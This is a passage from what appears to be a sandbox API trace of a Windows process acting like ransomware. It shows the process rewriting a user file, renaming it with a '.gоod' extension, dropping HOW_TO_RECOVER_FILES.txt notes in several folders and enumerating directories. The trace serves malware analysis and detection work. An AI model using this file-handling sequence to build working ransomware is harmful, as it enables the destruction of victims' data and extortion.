lpFileInformation=0x3870198*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d6dc69, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x73d6dc69, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x73d6dc69, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0xa74)) returned 1 [0150.945] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eb3a0) returned 1 [0150.945] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\Profiles\\wsRGB.icc", nBufferLength=0x105, lpBuffer=0x1f6ead70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\Profiles\\wsRGB.icc", lpFilePart=0x0) returned 0x3c [0150.945] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eb290) returned 1 [0150.945] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\Profiles\\wsRGB.icc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\color\\profiles\\wsrgb.icc"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0150.946] GetFileType (hFile=0x7fc) returned 0x1 [0150.946] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eb200) returned 1 [0150.946] GetFileType (hFile=0x7fc) returned 0x1 [0150.946] GetFileSize (in: hFile=0x7fc, lpFileSizeHigh=0x1f6eb438 | out: lpFileSizeHigh=0x1f6eb438*=0x0) returned 0xa74 [0150.946] ReadFile (in: hFile=0x7fc, lpBuffer=0x3870e88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6eb368, lpOverlapped=0x0 | out: lpBuffer=0x3870e88*, lpNumberOfBytesRead=0x1f6eb368*=0xa74, lpOverlapped=0x0) returned 1 [0150.949] CloseHandle (hObject=0x7fc) returned 1 [0150.975] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\Profiles\\wsRGB.icc", nBufferLength=0x105, lpBuffer=0x1f6ead70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\Profiles\\wsRGB.icc", lpFilePart=0x0) returned 0x3c [0150.975] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eb290) returned 1 [0150.975] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\Profiles\\wsRGB.icc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\color\\profiles\\wsrgb.icc"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0150.976] GetFileType (hFile=0x7fc) returned 0x1 [0150.976] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eb200) returned 1 [0150.976] GetFileType (hFile=0x7fc) returned 0x1 [0150.976] WriteFile (in: hFile=0x7fc, lpBuffer=0x38ebd10*, nNumberOfBytesToWrite=0xa80, lpNumberOfBytesWritten=0x1f6eb278, lpOverlapped=0x0 | out: lpBuffer=0x38ebd10*, lpNumberOfBytesWritten=0x1f6eb278*=0xa80, lpOverlapped=0x0) returned 1 [0150.977] CloseHandle (hObject=0x7fc) returned 1 [0150.977] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\Profiles\\wsRGB.icc", nBufferLength=0x105, lpBuffer=0x1f6eaf10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\Profiles\\wsRGB.icc", lpFilePart=0x0) returned 0x3c [0150.978] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\Profiles\\wsRGB.icc.gоod", nBufferLength=0x105, lpBuffer=0x1f6eaf10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\Profiles\\wsRGB.icc.gоod", lpFilePart=0x0) returned 0x41 [0150.978] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eb3a0) returned 1 [0150.978] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\Profiles\\wsRGB.icc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\color\\profiles\\wsrgb.icc"), fInfoLevelId=0x0, lpFileInformation=0x1f6eb480 | out: lpFileInformation=0x1f6eb480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d6dc69, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x73d6dc69, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x5633c0a1, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xa80)) returned 1 [0150.978] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eb360) returned 1 [0150.978] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\Profiles\\wsRGB.icc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\color\\profiles\\wsrgb.icc"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\Profiles\\wsRGB.icc.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\color\\profiles\\wsrgb.icc.gоod")) returned 1 [0150.978] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\Profiles\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6eb080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\Profiles\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x4b [0150.978] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eb5a0) returned 1 [0150.978] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\Profiles\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\color\\profiles\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x804 [0151.207] GetFileType (hFile=0x804) returned 0x1 [0151.207] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eb510) returned 1 [0151.207] GetFileType (hFile=0x804) returned 0x1 [0151.207] WriteFile (in: hFile=0x804, lpBuffer=0x3787578*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6eb668, lpOverlapped=0x0 | out: lpBuffer=0x3787578*, lpNumberOfBytesWritten=0x1f6eb668*=0x5d0, lpOverlapped=0x0) returned 1 [0151.208] CloseHandle (hObject=0x804) returned 1 [0151.208] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6ebab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x42 [0151.208] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ebfd0) returned 1 [0151.209] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\color\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x804 [0151.209] GetFileType (hFile=0x804) returned 0x1 [0151.209] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ebf40) returned 1 [0151.209] GetFileType (hFile=0x804) returned 0x1 [0151.210] WriteFile (in: hFile=0x804, lpBuffer=0x378add0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6ec098, lpOverlapped=0x0 | out: lpBuffer=0x378add0*, lpNumberOfBytesWritten=0x1f6ec098*=0x5d0, lpOverlapped=0x0) returned 1 [0151.211] CloseHandle (hObject=0x804) returned 1 [0151.211] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6ec4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x3c [0151.211] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eca00) returned 1 [0151.211] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x804 [0151.211] GetFileType (hFile=0x804) returned 0x1 [0151.211] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ec970) returned 1 [0151.211] GetFileType (hFile=0x804) returned 0x1 [0151.212] WriteFile (in: hFile=0x804, lpBuffer=0x378e618*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6ecac8, lpOverlapped=0x0 | out: lpBuffer=0x378e618*, lpNumberOfBytesWritten=0x1f6ecac8*=0x5d0, lpOverlapped=0x0) returned 1 [0151.213] CloseHandle (hObject=0x804) returned 1 [0151.213] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eca90) returned 1 [0151.213] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Application Data", nBufferLength=0x105, lpBuffer=0x1f6ec530, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Application Data", lpFilePart=0x0) returned 0x2e [0151.213] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Application Data\\*", lpFindFileData=0x1f6ec7b0 | out: lpFindFileData=0x1f6ec7b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0151.214] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eca40) returned 1 [0151.215] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Application Data\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6ec4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Application Data\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x47 [0151.216] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eca00) returned 1 [0151.216] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Application Data\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\application data\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x804 [0151.217] GetFileType (hFile=0x804) returned 0x1 [0151.217] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ec970) returned 1 [0151.217] GetFileType (hFile=0x804) returned 0x1 [0151.217] WriteFile (in: hFile=0x804, lpBuffer=0x379ed78*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6ecac8, lpOverlapped=0x0 | out: lpBuffer=0x379ed78*, lpNumberOfBytesWritten=0x1f6ecac8*=0x5d0, lpOverlapped=0x0) returned 1 [0151.218] CloseHandle (hObject=0x804) returned 1 [0151.218] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eca90) returned 1 [0151.218] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\CEF", nBufferLength=0x105, lpBuffer=0x1f6ec530, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\CEF", lpFilePart=0x0) returned 0x21 [0151.218] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\CEF\\*", lpFindFileData=0x1f6ec7b0 | out: lpFindFileData=0x1f6ec7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6a9d454, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a9d454, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0151.219] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f6ec770 | out: lpFindFileData=0x1f6ec770*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6a9d454, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a9d454, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0151.219] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f6ec770 | out: lpFindFileData=0x1f6ec770*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6a9d454, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a9d454, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="User Data", cAlternateFileName="USERDA~1")) returned 1 [0151.219] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f6ec770 | out: lpFindFileData=0x1f6ec770*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6a9d454, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a9d454, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="User Data", cAlternateFileName="USERDA~1")) returned 0 [0151.219] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0151.220] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ec9d0) returned 1 [0151.220] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ec990) returned 1 [0151.220] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eca90) returned 1 [0151.220] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\CEF", nBufferLength=0x105, lpBuffer=0x1f6ec530, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\CEF", lpFilePart=0x0) returned 0x21 [0151.220] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\CEF\\*", lpFindFileData=0x1f6ec7b0 | out: lpFindFileData=0x1f6ec7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6a9d454, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a9d454, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0151.220] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f6ec770 | out: lpFindFileData=0x1f6ec770*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6a9d454, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a9d454, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0151.220] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f6ec770 | out: lpFindFileData=0x1f6ec770*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6a9d454, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a9d454, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="User Data", cAlternateFileName="USERDA~1")) returned 1 [0151.220] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f6ec770 | out: lpFindFileData=0x1f6ec770*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0151.220] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0151.220] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ec9d0) returned 1 [0151.220] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ec990) returned 1 [0151.221] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ec060) returned 1 [0151.221] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\CEF\\User Data", nBufferLength=0x105, lpBuffer=0x1f6ebb00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\CEF\\User Data", lpFilePart=0x0) returned 0x2b [0151.221] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\CEF\\User Data\\*", lpFindFileData=0x1f6ebd80 | out: lpFindFileData=0x1f6ebd80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6a9d454, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a9d454, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0151.221] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f6ebd40 | out: lpFindFileData=0x1f6ebd40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6a9d454, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a9d454, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0151.221] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f6ebd40 | out: lpFindFileData=0x1f6ebd40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6a9d454, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a9d454, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dictionaries", cAlternateFileName="DICTIO~1")) returned 1 [0151.221] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f6ebd40 | out: lpFindFileData=0x1f6ebd40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6a9d454, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a9d454, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dictionaries", cAlternateFileName="DICTIO~1")) returned 0 [0151.221] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0151.222] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ebfa0) returned 1 [0151.222] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ebf60) returned 1 [0151.222] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ec060) returned 1 [0151.222] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\CEF\\User Data", nBufferLength=0x105, lpBuffer=0x1f6ebb00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\CEF\\User Data", lpFilePart=0x0) returned 0x2b [0151.222] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\CEF\\User Data\\*", lpFindFileData=0x1f6ebd80 | out: lpFindFileData=0x1f6ebd80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6a9d454, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a9d454, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0151.222] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f6ebd40 | out: lpFindFileData=0x1f6ebd40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6a9d454, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a9d454, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0151.222] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f6ebd40 | out: lpFindFileData=0x1f6ebd40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6a9d454, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a9d454, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dictionaries", cAlternateFileName="DICTIO~1")) returned 1 [0151.222] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f6ebd40 | out: lpFindFileData=0x1f6ebd40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0151.222] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0151.222] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ebfa0) returned 1 [0151.222] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ebf60) returned 1 [0151.223] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eb630) returned 1 [0151.223] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\CEF\\User Data\\Dictionaries", nBufferLength=0x105, lpBuffer=0x1f6eb0d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\CEF\\User Data\\Dictionaries", lpFilePart=0x0) returned 0x38 [0151.223] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\CEF\\User Data\\Dictionaries\\*", lpFindFileData=0x1f6eb350 | out: lpFindFileData=0x1f6eb350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6a9d454, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a9d454, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0151.223] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f6eb310 | out: lpFindFileData=0x1f6eb310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6a9d454, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a9d454, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0151.223] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f6eb310 | out: lpFindFileData=0x1f6eb310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6a9d454, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a9d454, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0151.223] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0151.223] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eb570) returned 1 [0151.223] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eb530) returned 1 [0151.223] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eb630) returned 1 [0151.223] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\CEF\\User Data\\Dictionaries", nBufferLength=0x105, lpBuffer=0x1f6eb0d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\CEF\\User Data\\Dictionaries", lpFilePart=0x0) returned 0x38 [0151.223] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\CEF\\User Data\\Dictionaries\\*", lpFindFileData=0x1f6eb350 | out: lpFindFileData=0x1f6eb350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6a9d454, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a9d454, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, 